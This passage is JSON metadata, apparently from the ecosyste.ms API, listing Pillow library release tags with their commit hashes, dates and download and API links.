5.2.0"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/5.1.0"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/5.0.0"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.3.0"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.2.1"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.2.0"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.1.1"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.1.0"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/4.0.0a"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests","release_url":null},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.4.2"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.4.1"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.3.3"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.4.0"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.3.2"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.3.1"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.3.0"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests","release_url":null},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.2.0"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests","release_url":null},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.1.0"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests","release_url":null},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases/3.0.0"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests","release_url":null},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests","release_url":null},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests","release_url":null},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests","release_url":null},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests","release_url":null},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests","release_url":null},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests","release_url":null},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests","release_url":null},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests","release_url":null},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests","release_url":null},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests","release_url":null},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests","release_url":null},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests","release_url":null},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests","release_url":null},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests","release_url":null},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests","release_url":null},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests","release_url":null},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests","release_url":null},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests","release_url":null},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests","release_url":null},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/